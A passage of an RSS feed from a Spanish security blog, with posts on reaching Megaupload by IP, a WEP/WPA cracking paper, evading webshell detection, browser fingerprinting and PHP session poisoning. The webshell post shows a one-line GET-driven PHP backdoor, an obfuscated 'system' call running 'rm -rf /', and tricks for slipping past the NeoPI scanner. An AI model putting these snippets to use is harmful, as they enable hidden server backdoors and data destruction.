&lt;i&gt;www.megaupload.com&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;  Si ahora queremos acceder a un archivo, podemos hacerlo concatenando  una de las IPs obtenidas antes junto con la url de megaupload quitando  la parte de &lt;i&gt;"www.megaupload.com".&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; Con ejemplos se ve más claro: &lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;Si tenemos la url -&amp;gt; &lt;/i&gt;http://www.megaupload.com/?d=ES4KXK52&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;su equivalente seria -&amp;gt;&lt;/i&gt; &lt;i&gt;http://174.140.154.15/?d=ES4KXK52&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;es decir -&amp;gt;&amp;nbsp; &lt;/i&gt;174.140.154.15 + &lt;strike&gt;http://www.megaupload.com&lt;/strike&gt;/?d=ES4KXK52&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: center;"&gt;es&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;174.140.154.15/?d=ES4KXK52&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; Con una de estas dos posibilidades podemos salir al paso y continuar teniendo acceder a &lt;i&gt;megaupload&lt;/i&gt; mientras se soluciona este contratiempo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Actualización&lt;/b&gt;:&lt;br /&gt;&amp;nbsp; Como ha comentado un usuario en &lt;a href="https://404storeengineer.wordpress.com/2011/11/29/megaupload-y-los-dns/#comment-19"&gt;otro blog&lt;/a&gt; donde había publicado el post al pulsar el botón de descarga nos daba  un error de que la pagina no existía. Esto sucede porque megaupload  utiliza otra url para descargar los archivo, ahora veremos como lo  solucionamos:&lt;br /&gt;&lt;br /&gt;&amp;nbsp; Una vez nos aparezca el botón de descargar si ponemos el cursor sobre el veremos que la url cambia a&lt;i&gt; www122.megaupload.com&lt;/i&gt; con lo al realizar un &lt;b&gt;nslookup&lt;/b&gt; sobre la dirección vemos una ip distinta a las anteriores:&lt;br /&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;b&gt;[alpha@alpha-pc ~]$ nslookup www122.megaupload.com&lt;/b&gt;&lt;br /&gt;Server:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; 208.67.222.222&lt;br /&gt;Address:&amp;nbsp;&amp;nbsp;&amp;nbsp; 208.67.222.222#53&lt;br /&gt;&lt;br /&gt;Non-authoritative answer:&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www122.megaupload.com&lt;br /&gt;Address: 95.211.95.67&lt;/blockquote&gt;&lt;br /&gt;&amp;nbsp; Con esta información pulsamos sobre el botón de descarga y nos saldrá un error, que siguiendo con el ejemplo anterior sería:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;http://www122.megaupload.com/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;entonces &lt;b&gt;realizaremos el mismo proceso que antes&lt;/b&gt;:&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;Si tenemos la url -&amp;gt;&amp;nbsp;&lt;/i&gt;http://www122.megaupload.com/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;i&gt;su equivalente seria -&amp;gt;&lt;/i&gt; &lt;i&gt;http://&lt;/i&gt;95.211.95.67/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;i&gt;es decir -&amp;gt;&amp;nbsp; &lt;/i&gt;95.211.95.67 + &amp;nbsp; &lt;strike&gt;http://www122.megaupload.com&lt;/strike&gt;/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf &lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;es&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;i&gt;http://&lt;/i&gt;95.211.95.67/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp; Con todo esto ya deberíamos poder descargar sin problemas ;)&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;i&gt;Un saludo&lt;/i&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;&lt;b style="color: red;"&gt;Aetsu&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-98897727944773021?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=BtkmOA8vZi0:1x0lccLc7h4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/BtkmOA8vZi0" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2011-11-30T02:18:39.977+01:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2011/11/megaupload-y-los-dns.html</feedburner:origLink></item><item><title>Paper #breaking80211</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/47Z3drDXAy0/paper-breaking80211.html</link><category>seguridad wireless</category><category>gnu/linux</category><category>aircrack</category><category>wireless</category><category>backtrack</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Tue, 22 Nov 2011 16:32:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-5692548447177282579</guid><description>&amp;nbsp; Buenas, soy &lt;a href="https://twitter.com/#%21/aetsu"&gt;&lt;b&gt;Aetsu&lt;/b&gt;&lt;/a&gt; y a partir de ahora escribiré, si mi tiempo me lo permite, algunos post sobre temas de seguridad, redes, GNU/Linux o programación.&lt;br /&gt;&lt;br /&gt;&amp;nbsp; Solo queda agradecer a &lt;b&gt;The X-C3LL&lt;/b&gt; que me permita participar en el blog y aquí os dejo mi último &lt;i&gt;paper&lt;/i&gt;, &lt;b style="color: orange;"&gt;&lt;span style="font-size: small;"&gt;#breaking80211&lt;/span&gt;&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;&lt;h1 data-mce-style="text-align: center;" style="text-align: center;"&gt;    &lt;span style="font-size: x-large;"&gt;&lt;span data-mce-style="color: #ff0000;" style="color: red;"&gt;&lt;b&gt;#breaking80211&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h1&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img338.imageshack.us/img338/6081/imagentz.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="303" src="http://img338.imageshack.us/img338/6081/imagentz.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h2 data-mce-style="text-align: center;" style="text-align: center;"&gt;    &lt;span style="font-size: large;"&gt;&lt;span data-mce-style="color: #000080;" style="color: navy;"&gt;by&lt;b&gt; Aetsu&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;&lt;h2 data-mce-style="text-align: center;" style="text-align: center;"&gt;   &lt;span style="font-size: large;"&gt;&lt;span data-mce-style="color: #000080;" style="color: navy;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;b&gt;--- &lt;span data-mce-style="color: #008000;" style="color: green;"&gt;Contenido&lt;/span&gt; ---&lt;/b&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Introducción&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Materiales/Herramientas utilizados&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Conceptos básicos&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt; [-] Cambiar dirección MAC&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Modo monitor&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Cifrado WEP&lt;/i&gt;&lt;br /&gt;&lt;i&gt; [-] Ataque 1+3&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Ataque Chop Chop&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Ataque fragmentación&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Hirte Attack&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Caffe Late Attack&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Cifrado WPA&lt;/i&gt;&lt;br /&gt;&lt;i&gt; [-] Obteniendo el handshake&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Obteniendo la contraseña: Aircrack-ng&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Obteniendo la contraseña: coWPAtty&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Obteniendo la contraseña: Pyrit&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Obteniendo la contraseña: Rainbow Tables&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Rainbow Tables -&amp;gt; coWPAtty&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Rainbow Tables -&amp;gt; Pyrit&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Otras defensas&lt;/i&gt;&lt;br /&gt;&lt;i&gt; [-] Filtrado MAC&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Ataque de desasociación&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] ESSID oculto&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Descifrar capturas&lt;/i&gt;&lt;br /&gt;&lt;i&gt; [-] Airdecap-ng + WEP&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Airdecap-ng + WPA&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Ataques sociales -- Creación de puntos de acceso&lt;/i&gt;&lt;br /&gt;&lt;i&gt; [-] Airbase-ng + brctl&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Airbase-ng + iptables&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Ataque sociales -- Ataques en LAN&lt;/i&gt;&lt;br /&gt;&lt;i&gt; [-] DNS-spoofing con Ettercap y Metasploit&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] S.E.T.&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Ataques sociales -- Todo en uno&lt;/i&gt;&lt;br /&gt;&lt;i&gt; [-] Karmetasploit&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Documentación&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;h1 data-mce-style="text-align: center;" style="text-align: center;"&gt;  &lt;span style="color: black; font-size: x-small;"&gt;&lt;span style="font-weight: normal;"&gt;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span data-mce-style="color: #ff0000;" style="color: red;"&gt;&lt;span style="color: black; font-size: x-small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="color: #38761d;"&gt;&lt;span style="font-size: x-small;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;/h1&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;b style="color: #38761d;"&gt;&lt;span style="font-size: x-small;"&gt;[+]&amp;nbsp; &lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;&lt;span style="color: #38761d;"&gt;Enlace a exploit-db:&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/b&gt;&lt;/span&gt;&lt;span data-mce-style="color: #ff6600;" style="color: #ff6600; font-size: x-large;"&gt;&lt;b&gt;&lt;a data-mce-href="http://www.megaupload.com/?d=ES4KXK52" href="http://www.exploit-db.com/download_pdf/18144"&gt;&lt;span data-mce-style="color: #ff6600;" style="color: #ff6600;"&gt;-- DESCARGAR --&lt;/span&gt;&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #38761d; font-size: x-small;"&gt;[+]&amp;nbsp; Enlace scribd:&amp;nbsp;&lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/b&gt;&lt;span style="color: orange; font-size: x-large;"&gt;&lt;b&gt;&lt;a data-mce-href="http://es.scribd.com/doc/73364142" href="http://es.scribd.com/doc/73364142"&gt;-- LEER ON-LINE --&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;h2 data-mce-style="text-align: center;" style="text-align: left;"&gt;  &amp;nbsp; &lt;b&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;&lt;h2 data-mce-style="text-align: center;" style="text-align: left;"&gt;  &lt;b&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;&lt;h2 data-mce-style="text-align: center;" style="text-align: left;"&gt;  &lt;b&gt;&lt;span style="font-size: small;"&gt;Un saludo y hasta la próxima ;)&lt;/span&gt; &lt;/b&gt;&lt;/h2&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5692548447177282579?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=47Z3drDXAy0:kgWZYrYhsho:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/47Z3drDXAy0" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2012-04-13T21:44:57.227+02:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">14</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2011/11/paper-breaking80211.html</feedburner:origLink></item><item><title>Indetectando webshells y backdoors</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/jTVuJkxRIJQ/indetectando-webshells-y-backdoors.html</link><category>Backdoors</category><category>Técnicas</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Tue, 22 Nov 2011 14:46:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-3159557666095663640</guid><description>&lt;style&gt;fieldset { color: lime; border: dotted; cursor: crosshair; }&lt;/style&gt;&lt;br /&gt; ¡Saludos!&lt;br /&gt;&lt;br /&gt;   En los últimos años la cantidad de "defaces" se ha incrementado bastante, por lo que no es de extrañar que estén apareciendo cada vez más herramientas dedicadas a la detección de webshells y backdoors -como &lt;a href="https://github.com/Neohapsis/NeoPI"&gt; NeoPI&lt;/a&gt;-, que junto a los AVs, intentan limpiar los servidores.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   La primera línea de detección de los AVs y las herramientas orientadas a WSD (WebShell Detection) está  basada en firmas. Un método de detección bastante simple y extendido es el de uso de checksums a modo de firma, que consiste en comparar los hashes de los archivos del servidor con los existentes en una lista negra. En dicha lista se encuentran los checksums de backdoors y webshells de los que ya tienen constancia las compañías de AVs. Esta técnica de detección es fácilmente evadible, puesto que añadiendo un comentario en el source se modificaría radicalmente su checksum y ya no sería detectado. &lt;br /&gt;&lt;br /&gt;   La detección de firmas suele ir más allá, tratando de encontrar nombres de funciones declaradas dentro de la propia webshell, o incluso trozos de código que sean típico. Este método puede surtir efecto en aquellas shells "clásicas" (como la C99, por ejemplo) a partir de las cuales se han ido distribuyendo distintas versiones con pequeñas modificaciones del código, pero que en esencia las funciones propias siguen manteniendo los mismos nombres, o incluso grandes porciones del código, por lo que la detección es inmediata.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   En estos casos lo más fácil para que pase desapercibida es modificar los nombres de todas las funciones, reordenar el código y alterar la sección del HTML que "maquetará" a la shell.&lt;br /&gt;&lt;br /&gt;   Por supuesto que el uso de listas negras de funciones sospechosas (como system, o base64_decode) es otro método clásico para detectar archivos maliciosos. Para utilizar estas funciones y pasar desapercibido podemos hacer uso de las funciones variables -cuando una variable tenga "()" al final, PHP buscará una función con el mismo nombre- :&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;$a = 'sys'.'tem'; &lt;br /&gt;$a('rm -rf /');&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;   Incluso podemos ir más allá y tomar la función desde variables de tipo GET (u otras variables como user-agent y similares):&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;echo $_GET[2]($_GET[1]);&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Pero las herramientas de WSD no se quedan aquí, sino que también implementan otros conceptos curiosos para detectar shells ofuscadas. Un claro ejemplo es NeoPI, que busca dentro de los archivos cadenas largas de caracteres, puesto que son típicas de los códigos ofuscados. La idea en inicio es buena, pero yerra porque son varias las funciones que al pasarle un string eliminan los espacios que contenga. Un ejemplo es base64_decode: si le metemos una cadena en base64 donde cada pocos caracteres aparece un espacio, ésta va a ser leída perfectamente.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Además NeoPI también detecta archivos con una entropía muy alta, por lo que si añadimos espacios entre cada carácter de la cadena ofuscada con base64, la entropía descenderá y pasará desapercibido.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PD: el bypassing a NeoPI estan sacadas de &lt;a href="http://elrincondeseth.wordpress.com/2011/08/17/bypasseando-neopi"&gt;este post de Seth&lt;/a&gt; donde podreis encontrar un ejemplo de una shell 100% invisible para esta herramienta.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-3159557666095663640?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=jTVuJkxRIJQ:3hqObRg8X90:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/jTVuJkxRIJQ" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2011-11-23T01:01:38.921+01:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2011/11/indetectando-webshells-y-backdoors.html</feedburner:origLink></item><item><title>Trazabilidad de un usuario</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/hWZTXfz-DcU/trazabilidad-de-un-usuario.html</link><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Thu, 20 Oct 2011 07:12:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-7695211517289720699</guid><description>¡Saludos!&lt;br /&gt;&lt;br /&gt;    El tema de la trazabilidad ha sido largamente discutido en los últimos años debido en parte a las polémicas con la geolocalización, las cookies de seguimiento procedentes de terceros, &lt;a href="http://0verl0ad.blogspot.com/2011/08/html5-iv-local-storage-y-las-cookies.html"&gt;las supercookies con Local Storage&lt;/a&gt; (y en general todo lo que engloba el proyecto &lt;a href="http://0verl0ad.blogspot.com/2011/05/zombie-cookies-cookies-que-vuelven-la.html"&gt;evercookie&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   El funcionamiento genérico del seguimiento consiste en colocar en distintos dominios scripts que generen un identificador único para cada usuario que visita ese dominio, permitiendo que cuando este usuario visite otro dominio se le pueda reconocer perfectamente. Se puede ver en el siguiente esquema (&lt;i&gt;Long live to Paint!&lt;/i&gt;):&lt;br /&gt;&lt;br /&gt;&lt;img src="http://img854.imageshack.us/img854/8479/dibujonf.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1)&lt;/b&gt; El usuario visita una web, y al hacerlo se manda una petición a un tercero (empresa de seguimiento) el cual genera un identificador.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2)&lt;/b&gt; El identificador es almacenado de forma local en el usuario, en forma de cookie por ejemplo.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3)&lt;/b&gt; Cuando ese usuario visita otros dominios que están en relación con la empresa de seguimiento, éste le está enviando su identificación, por lo que pueden tener una relación de páginas visitadas, asiduidad, rutinas, etc. que podrá ser sometidas a un proceso de data mining.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Poco más o menos así es como funcionan en líneas generales. Hasta ahora los esfuerzos por identificar a un usuario para poder controlar sus rutinas han ido encaminados en buscar la permanencia del identificador dentro del navegador del usuario. Pero... ¿por qué no identificar los usuarios por las configuraciones de sus navegadores? Es decir, hacer fingerprinting al navegador para poder identificarlo de forma única.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Existe numerosa información que se puede extraer de un navegador y que sirve para poder cercar y trazar a un usuario en concreto. El idioma, la zona horaria, el user-agent, el SO... son claros ejemplos de datos que se pueden obtener fácilmente y que nos ayudarían a poder identificar el país desde el que se conecta esa persona. Además, cosas más triviales como las fuentes instaladas (dependiendo de qué programas hayamos instalado éstas variaran), la resolución de la pantalla, o los plug-ins activos también son útiles para reducir la incertidumbre.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Un proyecto muy interesante que aborda esta idea es &lt;a href="http://panopticlick.eff.org/index.php"&gt;PanoptiClick&lt;/a&gt; donde se realiza un análisis bastante exahustivo de las características de nuestro navegador:&lt;br /&gt;&lt;img src="http://img4.imageshack.us/img4/2590/dibujorgh.jpg"/&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Por supuesto que mucha de la información que emplea puede llegar a ser spoofeable, pero es muy complejo llegar a ocultar absolutamente toda esta info y no dejar huella alguna.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-7695211517289720699?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=hWZTXfz-DcU:egQms8IZI6Q:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/hWZTXfz-DcU" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2011-10-20T17:04:00.366+02:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2011/10/trazabilidad-de-un-usuario.html</feedburner:origLink></item><item><title>Variables Superglobales que deberías de vigilar (II)</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/OHZA-0ab6mQ/variables-superglobales-que-deberias-de.html</link><category>Session Poisoning</category><category>File Inclusion</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Fri, 14 Oct 2011 01:44:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-890240023627185367</guid><description>&lt;style&gt;fieldset { background: black; color: lime; cursor: crosshair; border: 1px lime dotted;}&lt;/style&gt;&lt;br /&gt;¡Saludos!&lt;br /&gt;&lt;br /&gt;  Hoy vuelvo a escaparme de mi rutina universitaria para hablar un poco más de esas variables que cuando pueden ser vector de ataque. El otro día traté de escribir un poco sobre las variables superglobales $_SERVER[] , hoy vamos a hablar de $_SESSION[] y sus implicaciones en los servidores compartidos entre varios dominios.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  $_SESSION es un array donde los programadores suelen incluir datos como las preferencias en la navegación del usuario (theme que usa, idioma, etc.) y que queda guardado en un archivo con el nombre "sess_%SESSION%", siendo session el identificador asignado a tu sesión (lo que habitualmente es enviado en la cookie, y que suele ser PHPSESSID).&lt;br /&gt;&lt;br /&gt;  Si la aplicación permite al usuario que navega asignar un valor a al array $_SESSION, éste podría incluir algún código malicioso que pudiese aprovechar alguna vulnerabilidad. Por ejemplo se podría utilizar para &lt;a href="http://0verl0ad.blogspot.com/2008/08/local-file-inclusion-infectando.html"&gt;inyectar shells y explotar un LFI como ya publiqué hace años&lt;/a&gt;.&lt;br /&gt;&lt;br 